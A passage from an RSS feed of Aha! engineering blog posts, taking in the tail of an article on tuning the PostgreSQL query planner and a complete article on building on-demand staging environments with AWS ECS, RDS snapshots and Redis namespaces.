&lt;p&gt;The &lt;a href=&quot;https://www.postgresql.org/docs/current/runtime-config-query.html&quot;&gt;query planner&apos;s estimates&lt;/a&gt; for the relative speed difference between a random and a sequential read is determined by (&lt;code&gt;random_page_cost&lt;/code&gt; and &lt;code&gt;seq_page_cost&lt;/code&gt;). The default values for these columns assume that a random read from disk is going to be 40x slower than a sequential read from disk and that 90% of your disk pages will be cached in memory. These defaults assume a modestly sized database server using spinning-metal storage device.&lt;/p&gt;
&lt;p&gt;Using a fast NVME drive, you don&apos;t have a 40x latency multiple for random access — that number is probably closer to 5–10x. Additionally, if your ram cache rate is close to 99%, then the &lt;code&gt;random_page_cost&lt;/code&gt; parameter should be set to something like &lt;code&gt;1.05&lt;/code&gt;. (Multiply how much slower random access is than sequential by the inverse of your cache rate, and you will get a proper value for &lt;code&gt;random_page_cost&lt;/code&gt;. 5 * (1 / 0.99) = 1.05)&lt;/p&gt;
&lt;p&gt;After implementing these cost changes, we noticed PostgreSQL would stop deciding to full-scan tables unless the tables were very small. This lead to a drastic improvement in our query performance around custom pivots.&lt;/p&gt;
&lt;h2&gt;Set up statistics for dependent columns&lt;/h2&gt;
&lt;p&gt;Let&apos;s assume the following query, with all three relevant columns indexed:&lt;/p&gt;
&lt;pre&gt;select count(*) from features where account_id=1 and product_id=2 and initiative_id=3&lt;/pre&gt;
&lt;p&gt;By default, PostgreSQL assumes that each column is independent of all other columns on your table. This can lead to PostgreSQL deciding to do a bitmap merge of all three indexes, assuming that you&apos;re going to get a different set of results for each index, like this:&lt;/p&gt;
&lt;img src=&quot;/c1760ac08fee9bb571541b069deae256/independent.png&quot;/&gt;
&lt;p&gt;However, in reality, the data looks like this:&lt;/p&gt;
&lt;img src=&quot;/78131a955122b4f91aa260eba4ae2983/dependent.png&quot;/&gt;
&lt;p&gt;Given an individual &lt;code&gt;product_id&lt;/code&gt; or &lt;code&gt;initiative_id&lt;/code&gt; on a feature, all features with that &lt;code&gt;initiative_id&lt;/code&gt; or &lt;code&gt;product_id&lt;/code&gt; will have the same &lt;code&gt;account_id&lt;/code&gt;. Moreover, features with the same &lt;code&gt;initiative_id&lt;/code&gt; will be highly likely to have the same &lt;code&gt;product_id&lt;/code&gt;. So how do we tell the planner that if we know the &lt;code&gt;initiative_id&lt;/code&gt;, we can basically ignore the &lt;code&gt;account_id&lt;/code&gt; and &lt;code&gt;product_id&lt;/code&gt; checks for the initial data fetch process?&lt;/p&gt;
&lt;p&gt;These statistical dependencies can be leveraged by the query planner to decide that only one index fetch on &lt;code&gt;initiative_id&lt;/code&gt; is necessary. That is the most selective index, so it will give us the smallest result set. The result is likely to be small and the rows that have the &lt;code&gt;initiative_id&lt;/code&gt; are likely to have the same &lt;code&gt;product_id&lt;/code&gt; and &lt;code&gt;account_id&lt;/code&gt;. So doing the one index lookup and then filtering the results in memory is almost assuredly faster than setting up a bitmap scan, which requires going out to disk for random page reads.&lt;/p&gt;
&lt;p&gt;Use &lt;code&gt;CREATE STATISTICS features_stats (dependencies) on account_id, product_id, initiative_id from features; analyze features&lt;/code&gt;. PostgreSQL will sample those columns and keep track of the coefficient of correlation between their values, coming up with better query plans. In this example, the index on &lt;code&gt;initiative_id&lt;/code&gt; is going to be the most selective (largest total cardinality), which means that selecting on that will give us a small number of rows. Then, since all items with &lt;code&gt;initiative_id=3&lt;/code&gt; are probably going to have &lt;code&gt;product_id=2&lt;/code&gt;, are certainly going to have &lt;code&gt;account_id=1&lt;/code&gt;, and the result set from the &lt;code&gt;initiative_id&lt;/code&gt; index can be filtered in memory, all of those rows will likely make it through the check anyway.&lt;/p&gt;
&lt;p&gt;The example I describe here is not hypothetical. We found a pathological case where a query for one customer was taking 20 seconds. By adding dependent statistics to the table, the same query&apos;s time was reduced to less than a millisecond = 20,000% improvement.&lt;/p&gt;
&lt;h2&gt;Beware the join collapse&lt;/h2&gt;
&lt;p&gt;Many candidates that I interview say something to the effect of &quot;PostgreSQL falls over when you have too many joins.&quot; This is a commonly known phenomenon but very few candidates know the exact reason for this.&lt;/p&gt;
&lt;p&gt;PostgresSQL&apos;s query planner by default will exhaust every possibility trying to determine the fastest way to execute a query you request. The complexity of this is exponential with the amount of joins added. Attempting to plan the join of many tables together when the join order is not constrained could take longer than doing the actual query.&lt;/p&gt;
&lt;p&gt;To avoid this planner&apos;s analysis paralysis, PostgreSQL also has a &lt;a href=&quot;https://www.postgresql.org/docs/12/geqo.html&quot;&gt;genetic algorithm-based query optimizer&lt;/a&gt;, which attempts to find a heuristic solution. Most of the time, it&apos;s pretty good but sometimes the results are pretty bad. The decision to use heuristic planning instead of deterministic planning is determined by the &lt;code&gt;geqo_threshold&lt;/code&gt;. The amount of work the heuristic planner does is determined by &lt;code&gt;geqo_effort&lt;/code&gt; , which is a simple 1-10 scale with a default to 5.&lt;/p&gt;
&lt;p&gt;Since the cost of a bad query is far more than the cost of some extra time planning, we&apos;ve opted to increase our &lt;code&gt;geqo_threshold&lt;/code&gt; to 20. This covers the vast majority of our reporting queries. We&apos;re also looking into increasing our &lt;code&gt;geqo_effort&lt;/code&gt; values, since when we&apos;re joining more than 20 tables together, it&apos;s worth spending extra time planning to ensure that we get the query plan right. This is a continued area of experimentation for us - Aha! has a lot of very small, optimized queries; it also has some very large, gnarly ones in order to report on customer&apos;s data in the way the customer desires. Striking a balance between these extremes appears to be a bit of an art form.&lt;/p&gt;
&lt;p&gt;Additionally, it pays to increase the values of &lt;code&gt;join_collapse_limit&lt;/code&gt; and &lt;code&gt;from_collapse_limit&lt;/code&gt;. These parameters determine the maximum number of tables for which PostgreSQL is willing to optimize the join order. And if you have a lot of tables, get the query plan right so you can save far more time executing the query.&lt;/p&gt;
&lt;h2&gt;Feed the planner, trust the plan&lt;/h2&gt;
&lt;p&gt;The deterministic query planner will &lt;em&gt;always&lt;/em&gt; find the optimal result. If the planner is generating bad plans, it means you need to find ways to give it better statistical data. Instead of &quot;tricks,&quot; use the prescribed methods that come with PostgreSQL to instruct the planner on the shape of your data. You&apos;ll be very happy with the result. And seriously, read the manual.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sign up for a free trial of Aha! Develop&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aha! Develop is a fully extendable agile development tool. Prioritize the backlog, estimate work, and plan sprints. If you are interested in an integrated &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;product development&lt;/a&gt; approach, use &lt;a href=&quot;https://www.aha.io/product/overviewhttps://www.aha.io/product/integrations/develop&quot;&gt;Aha! Roadmaps and Aha! Develop&lt;/a&gt; together. Sign up for a &lt;a href=&quot;https://www.aha.io/trial&quot;&gt;free 30-day trial&lt;/a&gt; or &lt;a href=&quot;https://www.aha.io/live-demo&quot;&gt;join a live demo&lt;/a&gt; to see why more than 5,000 companies trust our software to build lovable products and be happy doing it.&lt;/p&gt;
&lt;div class=&quot;footnotes&quot;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-cacherate&quot;&gt;
&lt;p&gt;You can check your database cache rate with the following query. You want your cache hit rate to be near 99%. If it&apos;s lower than 95% for heavily accessed tables, consider increasing your database&apos;s RAM.&lt;/p&gt;
&lt;pre&gt;
SELECT 
  sum(heap_blks_read) as heap_read,
  sum(heap_blks_hit)  as heap_hit,
  sum(heap_blks_hit) / (sum(heap_blks_hit) + sum(heap_blks_read)) as ratio
FROM 
  pg_statio_user_tables;
&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;#fnref-cacherate&quot; class=&quot;footnote-backref&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content:encoded></item><item><title><![CDATA[Building a dynamic staging platform]]></title><description><![CDATA[Aha! dynamic stagings Our team at Aha! recently gained the ability to quickly create and destroy dynamic staging environments. Our platform…]]></description><link>https://www.aha.io/engineering/articles/dynamic-stagings</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/dynamic-stagings</guid><dc:creator><![CDATA[Steve Lamotte]]></dc:creator><pubDate>Thu, 14 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/b6afe7a385a9d7ab1eac0953a240cea3/dynamic-stagings.png&quot; alt=&quot;Aha! dynamic stagings&quot;&gt;&lt;/p&gt;
&lt;p&gt;Our team at Aha! recently gained the ability to quickly create and destroy dynamic staging environments.&lt;/p&gt;
&lt;p&gt;Our platform team maintains several general-purpose staging environments that our engineering and product teams use to test new features. These staging environments closely mimic our production infrastructure — but at a greatly reduced scale. As our team has grown, demand for these environments has increased, making our stagings somewhat of a hot commodity at times.&lt;/p&gt;
&lt;p&gt;We&apos;ve given a lot of thought to how best to address this. One obvious option would have been to simply create some new staging environments. This ultimately just kicks the can down the road because we would find ourselves in the same position in a few months. And since there are times when our stagings are not fully utilized, having a bunch of idle resources is wasteful. We really needed something more &lt;em&gt;dynamic&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;And so the notion of dynamic staging environments was conceived. This allowed anyone to quickly and easily spin up a brand new test environment on-demand, deploy their feature branch, test it, and then destroy it when no longer needed.&lt;/p&gt;
&lt;h2&gt;Planning environment design&lt;/h2&gt;
&lt;p&gt;We wanted these dynamic staging environments to be relatively lightweight. They are not a resource-for-resource mirroring of our production infrastructure the way our normal staging environments are. This allows them to be quickly created, updated, and destroyed — and also helps keep costs down.&lt;/p&gt;
&lt;p&gt;Engineers at Aha! use our home-grown &lt;code&gt;ops&lt;/code&gt; utility to initiate deployments, SSH to remote machines, and perform other various DevOps tasks. This utility has been updated over the years as our infrastructure has changed, so it seemed natural that we should add new commands to manage our dynamic stagings. We wanted this to be something as simple as an engineer writing &lt;code&gt;ops ds create&lt;/code&gt; in their feature branch.&lt;/p&gt;
&lt;p&gt;Like many companies, Aha! uses Slack for internal communications. We have a &lt;a href=&quot;https://slack.com/help/articles/115005265703-Create-a-bot-for-your-workspace&quot;&gt;Slack bot&lt;/a&gt; named &quot;stagingbot&quot; that we use to manage our staging environments — with commands such as claiming and releasing a staging and deploying a branch to a staging. To allow non-engineers to use them as well, we would need to update stagingbot to manage dynamic stagings.&lt;/p&gt;
&lt;p&gt;Since we use AWS &lt;a href=&quot;https://aws.amazon.com/ecs/&quot;&gt;Elastic Container Service&lt;/a&gt; (ECS) for our container orchestration, our dynamic stagings would also run under ECS. Rather than create a whole new set of infrastructure for each new dynamic staging, we selected one of our existing staging environments to serve as the dynamic staging host environment. This allows dynamic stagings to share certain resources that are owned by the host environment — in particular, the database instance, &lt;a href=&quot;https://redis.io/&quot;&gt;Redis&lt;/a&gt;/&lt;a href=&quot;https://aws.amazon.com/elasticache/&quot;&gt;ElastiCache&lt;/a&gt; instance, and certain other Aha! compute resources. This approach further helps achieve the goal of being able to quickly create and destroy dynamic stagings.&lt;/p&gt;
&lt;p&gt;This design came with some drawbacks. For example, the shared database instance means database migrations cannot be applied without potentially breaking other dynamic staging environments. It would still provide a very effective solution for the vast majority of our testing needs while freeing up the legacy staging environments for specialized testing such as infrastructure changes, and we could still add the ability to create a new RDS instance later if we did want to test those types of changes.&lt;/p&gt;
&lt;h2&gt;Staging environment preparation&lt;/h2&gt;
&lt;p&gt;Like most web-based SaaS applications, Aha! relies on DNS to direct customers to the right services. Our staging environments&apos; services are coordinated by DNS subdomains that tell Aha! which load balancer to hit. Once the application receives a request, the host header tells us which account should be used.&lt;/p&gt;
&lt;p&gt;For dynamic stagings, we updated our DNS to point all &quot;dynamic&quot; subdomains at a new &lt;a href=&quot;https://aws.amazon.com/ec2/&quot;&gt;EC2&lt;/a&gt;  &lt;a href=&quot;https://aws.amazon.com/elasticloadbalancing/application-load-balancer/&quot;&gt;application load balancer&lt;/a&gt;. Then when new dynamic stagings are created, a &lt;a href=&quot;https://docs.aws.amazon.com/elasticloadbalancing/latest/application/listener-update-rules.html&quot;&gt;listener rule&lt;/a&gt; is added to this load balancer to &lt;a href=&quot;https://aws.amazon.com/premiumsupport/knowledge-center/elb-configure-host-based-routing-alb/&quot;&gt;direct traffic to the new ECS service&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This new load balancer is a convenient demarc point between dynamic stagings and the existing staging environments. It greatly simplifies the Terraform changes required to augment the host environment to begin creating dynamic stagings.&lt;/p&gt;
&lt;h2&gt;The first implementation&lt;/h2&gt;
&lt;p&gt;Our first implementation was intended to quickly relieve the pressure caused by staging contention. This results in several limitations when compared to a normal staging environment, but it provides an ideal test environment for at least 80% of our use cases. It also gets the team used to considering dynamic stagings as their default option for testing.&lt;/p&gt;
&lt;h3&gt;Resource creation&lt;/h3&gt;
&lt;p&gt;There are six steps in the workflow for standing up a new dynamic staging:&lt;/p&gt;
&lt;h4&gt;1. Create a new ECS task definition&lt;/h4&gt;
&lt;p&gt;In ECS, a &lt;a href=&quot;https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/ECS/Types/TaskDefinition.html&quot;&gt;task definition&lt;/a&gt; specifies how a service&apos;s task (roughly analogous to a Docker container) will be run. It includes things like the &lt;a href=&quot;https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html&quot;&gt;IAM execution role&lt;/a&gt;, which specifies what AWS APIs may be invoked by the task, networking details such as &lt;a href=&quot;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-security-groups.html&quot;&gt;security groups&lt;/a&gt;, and runtime parameters such as the &lt;a href=&quot;https://docs.aws.amazon.com/AmazonECR/latest/userguide/images.html&quot;&gt;container image&lt;/a&gt; to run, including environment variables and memory/CPU constraints.&lt;/p&gt;
&lt;p&gt;To keep things simple, we fetch the task definition for the web service that is currently running on the host environment and tweak certain parameters to make it run as a dynamic staging service. This includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The service name/&lt;a href=&quot;https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html#family&quot;&gt;family&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Its memory footprint — We size dynamic stagings smaller than regular staging services.&lt;/li&gt;
&lt;li&gt;An environment variable with the name of the dynamic staging — This environment variable lets the application know that it&apos;s running as a dynamic staging and instructs it to tweak things like URLs&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. Create a new load balancer target group&lt;/h4&gt;
&lt;p&gt;When an ECS service is configured, you can specify a &lt;a href=&quot;https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-target-groups.html&quot;&gt;target group&lt;/a&gt;. As each task for your service starts up, it is registered with the target group that allows it to start serving traffic.&lt;/p&gt;
&lt;p&gt;The target group periodically performs health checks on each task, replacing any that become unhealthy. A target group also acts as an endpoint for our ECS services when associated with a listener rule.&lt;/p&gt;
&lt;h4&gt;3. Create a new load balancer listener rule&lt;/h4&gt;
&lt;p&gt;We then create a new &lt;a href=&quot;https://docs.aws.amazon.com/elasticloadbalancing/latest/application/listener-update-rules.html&quot;&gt;listener rule&lt;/a&gt; and attach it to the load balancer. A listener rule can perform a variety of checks on incoming requests and redirect traffic accordingly.&lt;/p&gt;
&lt;p&gt;In our case, we create a host header condition (i.e., the DNS name in the web request that is sent in the HTTP request headers) to associate the dynamic staging&apos;s DNS name with the new ECS service via the target group created in the previous step.&lt;/p&gt;
&lt;h4&gt;4. Create a new ECS service&lt;/h4&gt;
&lt;p&gt;The previous steps provide the prerequisites needed to stand up the actual &lt;a href=&quot;https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html&quot;&gt;ECS service&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When &lt;a href=&quot;https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create-service.html&quot;&gt;creating the service&lt;/a&gt;, we reference the task definition that we created earlier as well as the load balancer target group. ECS will create the service and start up the requested number of tasks, which is one for our dynamic stagings. These do not see much load so there&apos;s no need to scale out or provide redundancy.&lt;/p&gt;
&lt;p&gt;Once the service has started and it is healthy, it can start accepting requests. This can take a few minutes.&lt;/p&gt;
&lt;h4&gt;5. Create a new Aha! account&lt;/h4&gt;
&lt;p&gt;Since dynamic stagings share the host staging environment&apos;s database, we create a new Aha! account in that database that points at the new dynamic staging&apos;s subdomain. This was easy to implement because we already had a method to create a random account in staging, something frequently used during development. I modified the code slightly to handle dynamic stagings and made it available to call from the &lt;code&gt;ops&lt;/code&gt; command via a web API that is only available in the host environment.&lt;/p&gt;
&lt;p&gt;While the ECS service is initializing, we invoke this API and pass it the name of the new dynamic staging environment. A new account is created in Aha! along with a new user with full access to this account. The details are returned to the &lt;code&gt;ops&lt;/code&gt; script.&lt;/p&gt;
&lt;h4&gt;6. Share new dynamic staging details&lt;/h4&gt;
&lt;p&gt;Once the ECS service is healthy, we output details about the new environment including its URL and user credentials. The entire process takes less than five minutes.&lt;/p&gt;
&lt;p&gt;Passing around one-off user credentials to everyone who wants to use a dynamic staging can become inconvenient, so we enabled SSO in the new account. This allows any Aha! user to quickly and easily log in to any dynamic staging.&lt;/p&gt;
&lt;h3&gt;Limitations&lt;/h3&gt;
&lt;p&gt;One of the goals of this first iteration was to create something for testing the majority of our features. Our shared database model meant migrations could not be tested without endangering other dynamic staging environments. Up until this point, we simply did not run migrations when creating a dynamic staging environment.&lt;/p&gt;
&lt;p&gt;Background jobs are another limitation. Since only the Aha! web service runs in a dynamic staging, the host environment&apos;s workers would process any &lt;a href=&quot;https://github.com/resque/resque&quot;&gt;Resque&lt;/a&gt; jobs that were sent to the shared Redis instance. If your branch hadn&apos;t updated any background-able methods, this would be no big deal. But if you were hoping to test changes to these methods, you would be out of luck.&lt;/p&gt;
&lt;h2&gt;Company-wide dynamic staging&lt;/h2&gt;
&lt;p&gt;While the first implementation of our dynamic stagings worked well enough and was adopted by many at Aha!, the limitations caused by the shared database and other resources prevented it from being accepted as everyone&apos;s default staging solution. My next task was clear: dynamic stagings for the masses!&lt;/p&gt;
&lt;h3&gt;Dedicated databases&lt;/h3&gt;
&lt;p&gt;The biggest barrier to entry was clearly the shared database. Not being able to test features that had migrations was a severe restriction, so we decided to spin up an AWS RDS instance based on the latest hourly snapshot of our host environment&apos;s database.&lt;/p&gt;
&lt;p&gt;This operation adds just a few minutes to the dynamic staging creation process, so it&apos;s a pretty attractive solution. We also chose a small &lt;code&gt;db.t3.micro&lt;/code&gt; instance class for the database since, for the intended use case of testing by one developer or a small team, it would not be under significant load.&lt;/p&gt;
&lt;p&gt;Our Customer Success, marketing, and engineering teams deal with trial and signup flows. They have special test data configured in staging, for example, to prepare screenshots for updates about product enhancements. To make dynamic stagings more attractive to them, we provide the option to select any staging as the hourly snapshot source. When one of these other stagings is used as the source, we have to update the dedicated database&apos;s master account credentials to match the host environment&apos;s credentials, otherwise our dynamic stagings would not be able to connect to them. Unfortunately this operation (&lt;code&gt;Aws::RDS::Client#modify_db_intance&lt;/code&gt; when using the &lt;a href=&quot;https://docs.aws.amazon.com/sdk-for-ruby/v3/api/Aws/RDS/Client.html#modify_db_instance-instance_method&quot;&gt;Ruby SDK&lt;/a&gt;) requires that the initial database create process finishes completely (i.e., is &quot;Ready&quot;) before it can be invoked. Then we need another wait for that call to finish so the credentials are confirmed to be updated. This adds up to 10 extra minutes to the processing but the flexibility to choose the data source is well worth the wait.&lt;/p&gt;
&lt;p&gt;Once we know the hostname of the new database, we set an environment variable &lt;code&gt;AHA_DB_INSTANCE_ID&lt;/code&gt; in the task definition. At runtime, we check that environment variable to determine whether we want to connect to a non-default database instance. If so, we tweak the database connect string to point at the dedicated database instance:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # If an environment variable is present to point us at a specific database&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # instance, update the target environment variable accordingly.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; maybe_override_database_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(var_name)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    database_id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ENV&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;AHA_DB_INSTANCE_ID&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; unless&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; database_id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # Replace the first part of the intsance&apos;s hostname&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    ENV&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[var_name] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ENV&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[var_name].&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;sub&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/@.*?&lt;/span&gt;&lt;span style=&quot;color:#22863A;font-weight:bold&quot;&gt;\.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;@&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{database_id}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Worker processes&lt;/h3&gt;
&lt;p&gt;Like many &lt;a href=&quot;https://rubyonrails.org/&quot;&gt;Ruby on Rails&lt;/a&gt; apps, we use background jobs in Aha! to help provide a robust and responsive user interface. We use Resque backed by Redis for queuing up these jobs in the web app for subsequent processing by worker processes.&lt;/p&gt;
&lt;p&gt;Similar to the shared database we initially employed, the shared Redis instance made it difficult to test background jobs because all dynamic stagings plus the host environment would be enqueuing and dequeuing jobs with the same Redis.&lt;/p&gt;
&lt;p&gt;The solution to this was actually quite simple: &lt;a href=&quot;https://github.com/resque/redis-namespace&quot;&gt;namespaces&lt;/a&gt;. By prefixing Resque queue names with the name of the dynamic staging, each environment would see only the jobs that it cares about.&lt;/p&gt;
&lt;p&gt;Similar to what we did for dedicated databases, an environment variable &lt;code&gt;AHA_REDIS_NAMESPACE&lt;/code&gt; was added to the task definitions containing the name of the dynamic staging environment. Then in our Resque initializer, I simply added a conditional to the existing code to check for the environment variable and optionally set a namespace:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Resque&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.redis &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; begin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  redis &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;url:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; configatron.resque_url, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;thread_safe:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # Use a Redis namespace if so configured e.g. for dynamic stagings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  namespace &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; ENV&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;AHA_REDIS_NAMESPACE&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Rails&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.env.production? &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; namespace.blank?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    redis&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    Redis&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Namespace&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{namespace}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;-resque&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;redis:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; redis)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since this code is executed by both the web app and the worker service, they will use the same Resque queues. Too easy!&lt;/p&gt;
&lt;p&gt;Creating the ECS service for the worker is similar to the web app&apos;s service — only simpler. Because it runs silently in the background listening for Resque jobs, it does not require a target group or listener rules. We simply clone the host environment&apos;s worker task definition, tweak it in a similar fashion to how we modified the web service task definition (including setting the &lt;code&gt;AHA_REDIS_NAMESPACE&lt;/code&gt; environment variable), and create the service.&lt;/p&gt;
&lt;h2&gt;What&apos;s next?&lt;/h2&gt;
&lt;p&gt;These recent changes have truly turned dynamic stagings into first-class staging environments. We expect that they will cover at least 95% of our testing use cases, leaving the legacy staging environments primarily for specialized infrastructure work.&lt;/p&gt;
&lt;p&gt;There are other esoteric limitations that we know about but we&apos;ve decided to accept those for now. We can always turn on a new stack using Terraform if we need to test something obscure in a way that legacy staging environments cannot replicate. Since rolling out these last few changes and seeing increased adoption by our teams, I&apos;ve already received feedback on several issues that were easy to fix. On a personal note, it&apos;s very rewarding to see the rate of adoption of dynamic stagings at Aha! increase the way it has, and it validates all the time and effort I&apos;ve put into this project.&lt;/p&gt;
&lt;p&gt;One of the features I&apos;m most looking forward to adding is an &lt;a href=&quot;https://www.aha.io/support/develop/develop/extensions/extensions-introduction&quot;&gt;extension&lt;/a&gt; to &lt;a href=&quot;https://www.aha.io/develop/&quot;&gt;Aha! Develop&lt;/a&gt; that lets you create, update, and remove dynamic stagings while viewing your features and requirements. This is something that a group of us at Aha! started working on during a recent hackathon, and it would make dynamic stagings even easier to use.&lt;/p&gt;
